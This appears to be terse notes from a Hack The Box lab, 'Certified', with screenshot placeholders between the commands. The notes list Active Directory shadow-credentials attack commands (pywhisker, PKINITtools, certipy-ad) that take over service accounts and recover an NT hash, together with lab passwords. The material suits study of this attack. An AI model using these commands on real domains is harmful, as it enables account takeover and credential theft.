image.png

image.png

pywhisker -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"

image.png

python /opt/Tools/PKINITtools/gettgtpkinit.py -cert-pfx 8PvTFBU6.pfx -pfx-pass yBfwGWGwi6e9BhllIy0V certified.htb/management_svc management_svc_T.ccache

image.png

export KRB5CCNAME=/root/Pictures/Certified/management_svc_T.ccache
python /opt/Tools/PKINITtools/getnthash.py -key 0102c4506d1bd416eed2c0ef08c7a74c93f66e98f6cf9ac9f815047a037d9936  certified.htb/management_svc

image.png

OR

certipy-ad shadow auto -u "[email protected]" -p "prometheusx-303" -account "ca_svc"

image.png